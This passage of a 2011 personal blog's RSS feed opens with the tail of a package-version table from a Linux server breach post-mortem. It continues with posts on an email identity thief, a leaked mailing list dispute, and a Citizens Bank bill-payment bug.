<td>2.0.0-6</td>
<td>2.1.0-1.el5</td>
</tr>
<tr>
<td>libtiff</td>
<td>3.8.2-7.el5_5.5</td>
<td>3.8.2-7.el5_6.7</td>
</tr>
<tr>
<td>libuser</td>
<td>0.54.7-2.1.el5_4.1</td>
<td>0.54.7-2.1.el5_5.2</td>
</tr>
<tr>
<td>libvolume_id</td>
<td>095-14.21.el5_5.1</td>
<td>095-14.27.el5</td>
</tr>
<tr>
<td>libxml2</td>
<td>2.6.26-2.1.2.8.el5_5.1</td>
<td>2.6.26-2.1.12</td>
</tr>
<tr>
<td>libxml2-devel</td>
<td>2.6.26-2.1.2.8.el5_5.1</td>
<td>2.6.26-2.1.12</td>
</tr>
<tr>
<td>libxml2-python</td>
<td>2.6.26-2.1.2.8.el5_5.1</td>
<td>2.6.26-2.1.12</td>
</tr>
<tr>
<td>logrotate</td>
<td>3.7.4-9.el5_5.2</td>
<td>3.7.4-12</td>
</tr>
<tr>
<td>logwatch</td>
<td>7.3-8.el5</td>
<td>7.3-9.el5_6</td>
</tr>
<tr>
<td>m2crypto</td>
<td>0.16-6.el5.6</td>
<td>0.16-8.el5</td>
</tr>
<tr>
<td>man</td>
<td>1.6d-1.1</td>
<td>1.6d-2.el5</td>
</tr>
<tr>
<td>man-pages</td>
<td>2.39-15.el5_4</td>
<td>2.39-17.el5</td>
</tr>
<tr>
<td>mkinitrd</td>
<td>5.1.19.6-61.el5_5.2</td>
<td>5.1.19.6-71.el5</td>
</tr>
<tr>
<td>mod_ssl</td>
<td>2.2.3-43.el5.centos.3</td>
<td>2.2.3-53.el5.centos.1</td>
</tr>
<tr>
<td>mysql</td>
<td>5.0.77-4.el5_5.4</td>
<td>5.0.77-4.el5_6.6</td>
</tr>
<tr>
<td>mysql-server</td>
<td>5.0.77-4.el5_5.4</td>
<td>5.0.77-4.el5_6.6</td>
</tr>
<tr>
<td>nash</td>
<td>5.1.19.6-61.el5_5.2</td>
<td>5.1.19.6-71.el5</td>
</tr>
<tr>
<td>net-snmp-libs</td>
<td>5.3.2.2-9.el5_5.1</td>
<td>5.3.2.2-14.el5_7.1</td>
</tr>
<tr>
<td>nscd</td>
<td>2.5-49.el5_5.7</td>
<td>2.5-65</td>
</tr>
<tr>
<td>nspr</td>
<td>4.8.6-1.el5_5</td>
<td>4.8.8-1.el5_7</td>
</tr>
<tr>
<td>nss</td>
<td>3.12.8-1.el5.centos</td>
<td>3.12.10-4.el5.centos</td>
</tr>
<tr>
<td>nss_ldap</td>
<td>253-25.el5</td>
<td>253-42.el5</td>
</tr>
<tr>
<td>openldap</td>
<td>2.3.43-12.el5_5.3</td>
<td>2.3.43-12.el5_6.7</td>
</tr>
<tr>
<td>openldap-devel</td>
<td>2.3.43-12.el5_5.3</td>
<td>2.3.43-12.el5_6.7</td>
</tr>
<tr>
<td>openssh</td>
<td>4.3p2-41.el5_5.1</td>
<td>4.3p2-72.el5_7.5</td>
</tr>
<tr>
<td>openssh-clients</td>
<td>4.3p2-41.el5_5.1</td>
<td>4.3p2-72.el5_7.5</td>
</tr>
<tr>
<td>openssh-server</td>
<td>4.3p2-41.el5_5.1</td>
<td>4.3p2-72.el5_7.5</td>
</tr>
<tr>
<td>openssl</td>
<td>0.9.8e-12.el5_5.7</td>
<td>0.9.8e-20.el5</td>
</tr>
<tr>
<td>openssl-devel</td>
<td>0.9.8e-12.el5_5.7</td>
<td>0.9.8e-20.el5</td>
</tr>
<tr>
<td>openvpn</td>
<td>2.1.4-1.el5.rf</td>
<td>2.2.0-3.el5.rf</td>
</tr>
<tr>
<td>pango</td>
<td>1.14.9-8.el5.centos</td>
<td>1.14.9-8.el5.centos.2</td>
</tr>
<tr>
<td>passwd</td>
<td>0.73-1</td>
<td>0.73-2</td>
</tr>
<tr>
<td>patch</td>
<td>2.5.4-29.2.3.el5</td>
<td>2.5.4-31.el5</td>
</tr>
<tr>
<td>pciutils</td>
<td>2.2.3-8.el5_4</td>
<td>3.1.7-3.el5</td>
</tr>
<tr>
<td>pcre</td>
<td>6.6-2.el5_1.7</td>
<td>6.6-6.el5_6.1</td>
</tr>
<tr>
<td>perl</td>
<td>5.8.8-32.el5_5.2</td>
<td>5.8.8-32.el5_6.3</td>
</tr>
<tr>
<td>perl-Authen-SASL</td>
<td>2.15-1</td>
<td>2.15-1.el5.rf</td>
</tr>
<tr>
<td>perl-Class-Data-Inheritable</td>
<td>0.08-1</td>
<td>0.08-1.el5.rf</td>
</tr>
<tr>
<td>perl-DateTime</td>
<td>0.4305-1.el5.rf</td>
<td>0.5300-2.el5.rf</td>
</tr>
<tr>
<td>perl-Devel-PPPort</td>
<td>3.19_02</td>
<td>3.20</td>
</tr>
<tr>
<td>perl-Digest-SHA</td>
<td>5.48-1.el5.rf</td>
<td>5.50-1.el5.rf</td>
</tr>
<tr>
<td>perl-ExtUtils-MakeMaker</td>
<td>6.57_01</td>
<td>6.59</td>
</tr>
<tr>
<td>perl-GD</td>
<td>2.44-1.el5.rf</td>
<td>2.45-1.el5.rf</td>
</tr>
<tr>
<td>perl-JSON</td>
<td>2.17-1.el5.rf</td>
<td>2.50-1.el5.rf</td>
</tr>
<tr>
<td>perl-Lingua-EN-Inflect-Number</td>
<td>1.1-1</td>
<td>1.1-1.el5.rf</td>
</tr>
<tr>
<td>perl-MailTools</td>
<td>2.07-1.el5.rf</td>
<td>2.08-1.el5.rf</td>
</tr>
<tr>
<td>perl-NetAddr-IP</td>
<td>4.037-1.el5.rf</td>
<td>4.044-1.el5.rf</td>
</tr>
<tr>
<td>perl-Parse-RecDescent</td>
<td>1.965.1-1.el5.rf</td>
<td>1.965.1-2.el5.rf</td>
</tr>
<tr>
<td>perl-Pod-Simple</td>
<td>3.15-1.el5.rf</td>
<td>3.16-1.el5.rf</td>
</tr>
<tr>
<td>perl-Test-Pod</td>
<td>1.44-1.el5.rf</td>
<td>1.45-1.el5.rf</td>
</tr>
<tr>
<td>perl-Text-CSV</td>
<td>1.13-1.el5.rf</td>
<td>1.21-1.el5.rf</td>
</tr>
<tr>
<td>perl-Text-CSV_XS</td>
<td>0.71-1.el5.rf</td>
<td>0.80-1.el5.rf</td>
</tr>
<tr>
<td>perl-Time-Local</td>
<td>1.1901-1.el5.rf</td>
<td>1.2000-1.el5.rf</td>
</tr>
<tr>
<td>perl-WWW-Mechanize</td>
<td>1.56-1.el5.rf</td>
<td>1.66-1.el5.rf</td>
</tr>
<tr>
<td>perl-XSLoader</td>
<td>0.10</td>
<td>0.15</td>
</tr>
<tr>
<td>perl-suidperl</td>
<td>5.8.8-32.el5_5.2</td>
<td>5.8.8-32.el5_6.3</td>
</tr>
<tr>
<td>perl-version</td>
<td>0.86-1.el5.rf</td>
<td>0.91-1.el5.rf</td>
</tr>
<tr>
<td>popt</td>
<td>1.10.2.3-20.el5_5.1</td>
<td>1.10.2.3-22.el5</td>
</tr>
<tr>
<td>postgresql</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>postgresql-contrib</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>postgresql-devel</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>postgresql-libs</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>postgresql-pl</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>postgresql-python</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>postgresql-server</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>postgresql-tcl</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>postgresql-test</td>
<td>8.1.22-1.el5_5.1</td>
<td>8.1.23-1.el5_6.1</td>
</tr>
<tr>
<td>procps</td>
<td>3.2.7-16.el5</td>
<td>3.2.7-17.el5</td>
</tr>
<tr>
<td>psmisc</td>
<td>22.2-7</td>
<td>22.2-7.el5_6.2</td>
</tr>
<tr>
<td>pyOpenSSL</td>
<td>0.6-1.p24.7.2.2</td>
<td>0.6-2.el5</td>
</tr>
<tr>
<td>python</td>
<td>2.4.3-27.el5_5.3</td>
<td>2.4.3-44.el5</td>
</tr>
<tr>
<td>python-devel</td>
<td>2.4.3-27.el5_5.3</td>
<td>2.4.3-44.el5</td>
</tr>
<tr>
<td>python-urlgrabber</td>
<td>3.1.0-5.el5</td>
<td>3.1.0-6.el5</td>
</tr>
<tr>
<td>rpm</td>
<td>4.4.2.3-20.el5_5.1</td>
<td>4.4.2.3-22.el5</td>
</tr>
<tr>
<td>rpm-build</td>
<td>4.4.2.3-20.el5_5.1</td>
<td>4.4.2.3-22.el5</td>
</tr>
<tr>
<td>rpm-libs</td>
<td>4.4.2.3-20.el5_5.1</td>
<td>4.4.2.3-22.el5</td>
</tr>
<tr>
<td>rpm-python</td>
<td>4.4.2.3-20.el5_5.1</td>
<td>4.4.2.3-22.el5</td>
</tr>
<tr>
<td>ruby</td>
<td>1.8.5-5.el5_4.8</td>
<td>1.8.5-19.el5_6.1</td>
</tr>
<tr>
<td>ruby-libs</td>
<td>1.8.5-5.el5_4.8</td>
<td>1.8.5-19.el5_6.1</td>
</tr>
<tr>
<td>samba-common</td>
<td>3.0.33-3.29.el5_5.1</td>
<td>3.0.33-3.29.el5_7.4</td>
</tr>
<tr>
<td>screen</td>
<td>4.0.3-1.el5_4.1</td>
<td>4.0.3-4.el5</td>
</tr>
<tr>
<td>sed</td>
<td>4.1.5-5.fc6</td>
<td>4.1.5-8.el5</td>
</tr>
<tr>
<td>sendmail</td>
<td>8.13.8-8.el5</td>
<td>8.13.8-8.1.el5_7</td>
</tr>
<tr>
<td>sendmail-cf</td>
<td>8.13.8-8.el5</td>
<td>8.13.8-8.1.el5_7</td>
</tr>
<tr>
<td>sendmail-devel</td>
<td>8.13.8-8.el5</td>
<td>8.13.8-8.1.el5_7</td>
</tr>
<tr>
<td>shadow-utils</td>
<td>4.0.17-15.el5</td>
<td>4.0.17-18.el5_6.1</td>
</tr>
<tr>
<td>sudo</td>
<td>1.7.2p1-9.el5_5</td>
<td>1.7.2p1-10.el5</td>
</tr>
<tr>
<td>talk</td>
<td>0.17-29.2.2</td>
<td>0.17-31.el5</td>
</tr>
<tr>
<td>tmpwatch</td>
<td>2.9.7-1.1.el5.2</td>
<td>2.9.7-1.1.el5.5</td>
</tr>
<tr>
<td>traceroute</td>
<td>2.0.1-5.el5</td>
<td>2.0.1-6.el5</td>
</tr>
<tr>
<td>tzdata</td>
<td>2010l-1.el5</td>
<td>2011h-2.el5</td>
</tr>
<tr>
<td>util-linux</td>
<td>2.13-0.52.el5_4.1</td>
<td>2.13-0.56.el5</td>
</tr>
<tr>
<td>vim-common</td>
<td>7.0.109-6.el5</td>
<td>7.0.109-7.el5</td>
</tr>
<tr>
<td>vim-enhanced</td>
<td>7.0.109-6.el5</td>
<td>7.0.109-7.el5</td>
</tr>
<tr>
<td>vim-minimal</td>
<td>7.0.109-6.el5</td>
<td>7.0.109-7.el5</td>
</tr>
<tr>
<td>vnc-server</td>
<td>4.1.2-14.el5_5.4</td>
<td>4.1.2-14.el5_6.6</td>
</tr>
<tr>
<td>vsftpd</td>
<td>2.0.5-16.el5_5.1</td>
<td>2.0.5-21.el5</td>
</tr>
<tr>
<td>xinetd</td>
<td>2.3.14-10.el5</td>
<td>2.3.14-13.el5</td>
</tr>
<tr>
<td>xorg-x11-font-utils</td>
<td>7.1-2</td>
<td>7.1-3</td>
</tr>
<tr>
<td>xorg-x11-xfs</td>
<td>1.0.2-4</td>
<td>1.0.2-5.el5_6.1</td>
</tr>
<tr>
<td>yum</td>
<td>3.2.22-26.el5.centos</td>
<td>3.2.22-37.el5.centos</td>
</tr>
<tr>
<td>yum-fastestmirror</td>
<td>1.1.16-14.el5.centos.1</td>
<td>1.1.16-16.el5.centos</td>
</tr>
<tr>
<td>yum-utils</td>
<td>1.1.16-14.el5.centos.1</td>
<td>1.1.16-16.el5.centos</td>
</tr>
<tr>
<td>zlib</td>
<td>1.2.3-3</td>
<td>1.2.3-4.el5</td>
</tr>
<tr>
<td>zlib-devel</td>
<td>1.2.3-3</td>
<td>1.2.3-4.el5</td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/09/16/post-mortem-of-security-breach-on-my-linux-server/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
			<item>
		<title>Email identity thief strikes again</title>
		<link>http://blog.kamens.us/2011/08/24/email-identity-thief-strikes-again/</link>
		<comments>http://blog.kamens.us/2011/08/24/email-identity-thief-strikes-again/#comments</comments>
		<pubDate>Wed, 24 Aug 2011 16:49:51 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[Computers]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[email identity thief]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2373</guid>
		<description><![CDATA[This time, my email identity thief created an account using my email address at support.mozilla.com. I received email from the site in French asking me to confirm my email address. I&#8217;ve reset the password on the account to prevent him from using it, but I can&#8217;t log into the account to see what profile information [...]]]></description>
			<content:encoded><![CDATA[<p>This time, my <a href="http://blog.kamens.us/tag/email-identity-thief/">email identity thief</a> created an account using my email address at <a href="http://support.mozilla.com/" target="_blank">support.mozilla.com</a>. I received email from the site in French asking me to confirm my email address.</p>
<p>I&#8217;ve reset the password on the account to prevent him from using it, but I can&#8217;t log into the account to see what profile information he specified or what he did on the site, because the site provides no way to recover a lost username. I&#8217;ve contacted <a href="mailto:webmaster@mozilla.com" target="_blank">webmaster@mozilla.com</a> and asked them to provide me with the username as well as information from their logs about who created this account.</p>
<p>They&#8217;re a bit more likely to be willing to help then Skype, given that (a) they&#8217;re a collaborative, open-source organization and (b) I have an ongoing relationship with Mozilla, having submitted several core and Thunderbird patches and been <a href="http://blog.mozilla.com/meeting-notes/archives/date/2010/07" target="_blank">nominated</a> as a <a href="https://developer.mozilla.org/en/Glossary#FotT" target="_blank">&#8220;Friend of the Tree&#8221;</a>.</p>
<p>I&#8217;ve asked them at the very least, if they&#8217;re unwilling or unable to provide me with the username, to delete the account, since I don&#8217;t want accounts created by other people using my email address on sites all over the internet.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/08/24/email-identity-thief-strikes-again/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
			<item>
		<title>IMPORTANT UPDATE on Brave New Foundation and Nation of Change</title>
		<link>http://blog.kamens.us/2011/08/12/important-update-on-brave-new-foundation-and-nation-of-change/</link>
		<comments>http://blog.kamens.us/2011/08/12/important-update-on-brave-new-foundation-and-nation-of-change/#comments</comments>
		<pubDate>Fri, 12 Aug 2011 20:30:49 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[Computers]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Politics]]></category>
		<category><![CDATA[Spam]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Brave New Foundation]]></category>
		<category><![CDATA[Nation of Change]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2342</guid>
		<description><![CDATA[I wrote several days ago about spam I received from Nation of Change at an email address which had previously only been shared with Brave New Foundation. Earlier today, I wrote about Nation of Change apparently attempting to cover their tracks after their unauthorized use of email addresses was discovered and reported by me. I [...]]]></description>
			<content:encoded><![CDATA[<p>I <a title="“Nation of Change”, who are you and why are you spamming me?" href="http://blog.kamens.us/2011/07/28/nation-of-change-who-are-you-and-why-are-you-spamming-me/">wrote several days ago</a> about spam I received from Nation of Change at an email address which had previously only been shared with Brave New Foundation. Earlier today, I <a title="Nation of Change trying to cover their tracks?" href="http://blog.kamens.us/2011/08/12/nation-of-change-trying-to-cover-their-tracks/">wrote</a> about Nation of Change apparently attempting to cover their tracks after their unauthorized use of email addresses was discovered and reported by me.</p>
<p>I have been in conversation about this with a high-level employee at Brave New Foundation, and I am now able to report the following important information:</p>
<ul>
<li>Brave New Foundation does not sell, share or rent their email lists.</li>
<li>There is a Brave New Foundation employee with access to their lists who has a relative who works for Nation of Change.</li>
<li>Brave New Foundation believes that this Nation of Change employee made unauthorized use of his/her relative&#8217;s access to copy an as yet undetermined subset of Brave New Foundation&#8217;s email lists for Nation of Change&#8217;s use.</li>
<li>Brave New Foundation does not believe its employee was complicit in this unauthorized access. In fact, s/he was unaware that it had occurred until I brought it to Brave New Foundation&#8217;s attention.</li>
<li>Brave New Foundation considers this breach of their data to be extremely serious, and they are actively investigating it.</li>
<li>Brave New Foundation is considering legal action against Nation of Change both to prevent any further use of the copied email addresses and to obtain financial compensation for the damage to Brave New Foundation&#8217;s reputation and the time and resources spend investigating this incident.</li>
</ul>
<p>All of this information, as well as some additional off-the-record supporting information that I cannot report here, was provided to me directly by an employee of Brave New Foundation. I have no reason to believe that employee is lying, and what s/he told me is consistent with my suspicions and impressions about Nation of Change. However, in the spirit of full disclosure, I want to be clear that I have not seen any hard evidence supporting any of Brave New Foundation&#8217;s allegations against Nation of Change.</p>
<p>When you combine these new allegations against Nation of Change with all the other issues I raised in my <a title="“Nation of Change”, who are you and why are you spamming me?" href="http://blog.kamens.us/2011/07/28/nation-of-change-who-are-you-and-why-are-you-spamming-me/">first posting about them</a>, it seems doubtful that this is an organization which deserves anyone&#8217;s support.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/08/12/important-update-on-brave-new-foundation-and-nation-of-change/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
			<item>
		<title>Nation of Change trying to cover their tracks?</title>
		<link>http://blog.kamens.us/2011/08/12/nation-of-change-trying-to-cover-their-tracks/</link>
		<comments>http://blog.kamens.us/2011/08/12/nation-of-change-trying-to-cover-their-tracks/#comments</comments>
		<pubDate>Fri, 12 Aug 2011 15:17:37 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[Computers]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Politics]]></category>
		<category><![CDATA[Spam]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[CommonDreams.org]]></category>
		<category><![CDATA[Nation of Change]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2339</guid>
		<description><![CDATA[I wrote recently about spam I received from a new, shady-seeming progressive organization called Nation of Change, sent to an email address that I had only ever used to subscribe to another organization&#8217;s mailing list. I asked a lot of questions about Nation of Change, and thus far they&#8217;ve failed to respond to any of [...]]]></description>
			<content:encoded><![CDATA[<p>I <a title="“Nation of Change”, who are you and why are you spamming me?" href="http://blog.kamens.us/2011/07/28/nation-of-change-who-are-you-and-why-are-you-spamming-me/">wrote recently</a> about spam I received from a new, shady-seeming progressive organization called Nation of Change, sent to an email address that I had only ever used to subscribe to another organization&#8217;s mailing list.</p>
<p>I asked a lot of questions about Nation of Change, and thus far they&#8217;ve failed to respond to any of them. Here&#8217;s what has happened instead.</p>
<p><span id="more-2339"></span>In response to my complaint, a representative of Nation of Change informed me, &#8220;I was unable to find your address: <em>[elided]</em> in our system.&#8221; I sent back a reply in which I included the entire header of the spam from Nation of Change, showing clearly that they had sent email to that address. They did not respond.</p>
<p>Much more significantly, several days later I received a &#8220;Thank you for Signing Up!&#8221; email sent to the same tagged email address from a different progressive web site, CommonDreams.org. When I complained to them, they claimed that someone had entered the address into the subscription form on their web site.</p>
<p>This is certainly not coincidence. It looks very much to me like whoever is behind the unauthorized transfer of a list of email addresses from Brave New Foundation to Nation of Change is trying to cover their tracks by making it look like I&#8217;m lying about the privacy of the email address in question. Either that, or they&#8217;re just being vindictive and trying to make my life difficult because I exposed their actions.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/08/12/nation-of-change-trying-to-cover-their-tracks/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
			<item>
		<title>More Citizens Bank shenanigans</title>
		<link>http://blog.kamens.us/2011/08/10/more-citizens-bank-shenanigans/</link>
		<comments>http://blog.kamens.us/2011/08/10/more-citizens-bank-shenanigans/#comments</comments>
		<pubDate>Wed, 10 Aug 2011 20:07:17 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Boston]]></category>
		<category><![CDATA[Computers]]></category>
		<category><![CDATA[Consumer activism]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Citizens Bank]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2324</guid>
		<description><![CDATA[Those of you who have been reading the ongoing saga of my dissatisfaction with Citizens Bank will no doubt be pleased to hear that it is nearly at an end. Last week, my wife and I transferred our home equity line to Century Bank and opened a checking account there, and we applied for a [...]]]></description>
			<content:encoded><![CDATA[<p>Those of you who have been reading the <a href="http://blog.kamens.us/tag/citizens-bank/">ongoing saga of my dissatisfaction</a> with <a href="http://www.citizensbank.com/" target="_blank">Citizens Bank</a> will no doubt be pleased to hear that it is nearly at an end. Last week, my wife and I transferred our home equity line to <a href="http://centurybank.com/" target="_blank">Century Bank</a> and opened a checking account there, and we applied for a <a href="https://www.capitalone.com/" target="_blank">Capital One</a> <a href="http://www.capitalone.com/creditcards/venture-rewards-credit-card/?linkid=WWW_1010_CARD_TGUNS11_CCBRWALL_C3_05_T_CP94622EW" target="_blank">Venture Rewards card</a> to replace our Citizens Bank card. In another week or two the final details of the transition will be complete and we will close our Citizens Bank accounts for good.</p>
<p>In the meantime, however, I have yet another bit of Citizens Bank lunacy to report.</p>
<p><span id="more-2324"></span>While transitioning from our Citizens checking account to our Century account, I canceled a number of online bill payments on the Citizens Bank web site and recreated those payments from my Century account. One of those canceled payments was my monthly payment to my Citizens MasterCard.</p>
<p>The Citizens Bank web site actually shows my MasterCard account as one of my Citizens Bank accounts, so theoretically I could make payments by using the &#8220;Transfers&#8221; tab on the web site instead of the &#8220;Pay Bills&#8221; tab. However, because I don&#8217;t entirely trust the bank not to screw up such transfers for reasons which aren&#8217;t worth going into here, and for consistency with all my other monthly payments, I usually pay the credit card through &#8220;Pay Bills&#8221;, and that has always worked fine in the past.</p>
<p>It turns out that the Citizens Bank web site is &#8220;smart&#8221; about payments to a Citizens Bank card scheduled through &#8220;Pay Bills&#8221;. Although the payment shows up in the bill payment section of the web site, in the back end it is handled as a transfer.</p>
<p>How do I know this? Because although the web site gets this right when you <em>create</em> such a payment, it apparently gets it wrong when you <em>cancel</em> one. The payment disappears from your list of pending payments, but this is left behind in your list of pending transfers:</p>
<div id="attachment_2325" class="wp-caption aligncenter" style="width: 740px"><a href="http://blog.kamens.us/wp-content/uploads/2011/08/transfers.png"><img class="size-full wp-image-2325" title="Pending Payments and Transfers" src="http://blog.kamens.us/wp-content/uploads/2011/08/transfers.png" alt="" width="730" height="128" /></a><p class="wp-caption-text">(click for full-size image)</p></div>
<p style="text-align: left;">If this were a normal transfer, there would be links under &#8220;Edit&#8221; and &#8220;Delete&#8221; which I could click to edit or delete it. But this transfer isn&#8217;t normal&#8230; it was created automatically by the web site&#8217;s back-end code, and so I can&#8217;t do anything about it.</p>
<p style="text-align: left;">I obviously don&#8217;t want my credit card bill to be paid twice, so I need to make this transfer go away. So I sent Citizens Bank this message through their web site:</p>
<p style="text-align: left; padding-left: 30px;">I canceled this payment and it should not be showing up as a pending transfer. There&#8217;s no button for me to cancel it, so something is clearly wrong. THERE WILL NOT BE ENOUGH MONEY IN MY ACCOUNT TO COVER THIS TRANSFER ON AUGUST 16, so you&#8217;d better fix whatever program is causing this transfer to keep showing up even though I&#8217;ve canceled it!</p>
<p style="text-align: left;">Here&#8217;s the useless answer which I just got back from them:</p>
<p style="text-align: left; padding-left: 30px;">Thank you for your recent email regarding a pending transfer to your credit card. Please note our records indicate this transaction was not scheduled through the online banking “Transfers” feature. In the event you have scheduled this payment through the credit card website please log in to your credit card account to cancel the transaction. You may also contact the number below for assistance.</p>
<p style="text-align: left;">I just sent them the following response:</p>
<p style="padding-left: 30px;">I already explained this to you. Let me try again.</p>
<p style="padding-left: 30px;">No, I didn&#8217;t schedule it through &#8220;Transfers&#8221;. I scheduled it through &#8220;Pay Bills&#8221;.</p>
<p style="padding-left: 30px;">Your computers decided to convert the bill payment into a transfer. Then when I canceled the bill payment, your computers decide not to properly cancel the corresponding transfer that YOUR COMPUTERS CREATED.</p>
<p style="padding-left: 30px;">Please don&#8217;t blow me off. THIS IS YOUR FAULT AND YOU NEED TO FIX IT.</p>
<p style="padding-left: 30px;">I will be REALLY, REALLY PISSED OFF if you fail to fix this and the transfer goes through despite the fact that I canceled it and contacted you well in advance of the scheduled transfer date to notify you about the problem and ask you to fix it.</p>
<p style="padding-left: 30px;">THERE IS A PROBLEM WITH YOUR COMPUTERS. Please forward this to someone who can actually do something about it. Do NOT send me another message blowing me off and telling me it&#8217;s not your fault. IT IS YOUR FAULT.</p>
<p>It&#8217;s bad that the QA they do on their web site is so feeble that either nobody ever tested this use case, or worse, they tested it and decided it was OK to allow this bug to make it into production. It&#8217;s even worse that their customer service staff is too stupid or poorly trained to recognize when the web site is broken and escalate the issue to someone who can do something about it.</p>
<p>I guess I&#8217;ll just have to make the issue moot by withdrawing all my money from the account and closing it before August 16.</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.kamens.us/2011/08/10/more-citizens-bank-shenanigans/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
			<item>
		<title>Mysterious identity thief uses my email address to create Skype account</title>
		<link>http://blog.kamens.us/2011/08/05/mysterious-identity-thief-uses-my-email-address-to-create-skype-account/</link>
		<comments>http://blog.kamens.us/2011/08/05/mysterious-identity-thief-uses-my-email-address-to-create-skype-account/#comments</comments>
		<pubDate>Fri, 05 Aug 2011 23:48:38 +0000</pubDate>
		<dc:creator>jik</dc:creator>
				<category><![CDATA[Computer Security]]></category>
		<category><![CDATA[Computers]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[email identity thief]]></category>

		<guid isPermaLink="false">http://blog.kamens.us/?p=2319</guid>
		<description><![CDATA[As I previously reported, somebody has been interacting with Web sites using my email address. I suspect that in addition to the ones I know about, this individual is probably also doing things that I don&#8217;t know about, because I assume that not all the web sites at which he&#8217;s using my address are kind enough [...]]]></description>
			<content:encoded><![CDATA[<p>As I <a title="Who’s using my email address, and why?" href="http://blog.kamens.us/2011/06/23/whos-using-my-email-address-and-why/">previously reported</a>, somebody has been interacting with Web sites using my email address.</p>
<p>I suspect that in addition to the ones I know about, this individual is probably also doing things that I <em>don&#8217;t</em> know about, because I assume that not all the web sites at which he&#8217;s using my address are kind enough to send me an email address alerting me to what he&#8217;s doing.</p>
<p>Today, however, I <em>did</em> get a notification from one site that I didn&#8217;t know about before &#8212; he apparently signed up for a Skype account using my email address. They emailed me about it because he attempted to purchase Skype credit but didn&#8217;t complete the transaction.</p>
<p>I immediately took advantage of Skype&#8217;s password recovery feature to reset the password on the account. I.e., I stole the account from the identity thief, just as I did when he signed up for a gmail account using my email address.</p>
<p>Then I sent this message to Skype&#8217;s customer support department. I don&#8217;t honestly expect them to respond in any useful way, but I figured it was worth a try:<span id="more-2319"></span></p>
<p style="padding-left: 30px;">As described at http://blog.kamens.us/?p=2258, someone I do not know has been going to various sites all over the internet and interacting with those sites using my email address, jik@kamens.brookline.ma.us. The things that I am aware of before today are (a) submitting a bizarre support request to Starwood hotels customer service and (b) creating a gmail account with my email address specified as its password recovery address. I am worried that whoever this person is may have used my email address at other sites as well, but these are the ones I know about.</p>
<p style="padding-left: 30px;">Today, a new one occurred &#8212; this individual signed up for a skype account with the skype name bouba.diallo30 and using my email address. I received an email address notifying me of this fact because this individual apparently attempted to purchase a Skype credit but did not complete the transaction.</p>
<p style="padding-left: 30px;">Because I obviously do not want people on the Internet impersonating me or using my email address for nefarious purposes, I used your password recovery feature to reset the password on this account so that it is one that I know and the identity thief does not. This is why I am currently writing to you from that account &#8212; I have taken over the account, which I think is perfectly legitimate since it was created using my email address and whoever created it is obviously up to no good. (I did the same thing to the gmail account that the thief created using my email address as its password recovery address.)</p>
<p style="padding-left: 30px;">I would like your help tracking down whoever this person is. I don&#8217;t know what the hell he&#8217;s up to, but I&#8217;m really concerned that it&#8217;s something that&#8217;s going to hurt me, and I&#8217;m trying to collect as much information as possible about what&#8217;s going on so that I will be armed and ready if I need to escalate the fight against whatever this person is doing.</p>
<p style="padding-left: 30px;">Can you please tell me how I can go about getting whatever additional information about this individual, e.g., what IP address was used to create the account, exactly when it was created, etc., i.e., anything at all you have logged about this person&#8217;s actions?</p>
<p style="padding-left: 30px;">Please note that I am *very* careful with the security of my computer, home network and web accounts, and it is extremely unlikely that whoever is doing this has actually taken over my computer or email account or anything like that.</p>
<p style="padding-left: 30px;">Thank you in advance for any help you can provide.</p>
<p style="padding-left: 30px;">Sincerely,</p>
<p style="padding-left: 30px;">Jonathan Kamens (the *real* jik@kamens.brookline.ma.us, as you can see from the jonathan.kamens Skype account which I&#8217;ve had associated with that email address for several years)</p>
<p>Interestingly, here are the profile details that the identity thief specified when creating the Skype account:</p>
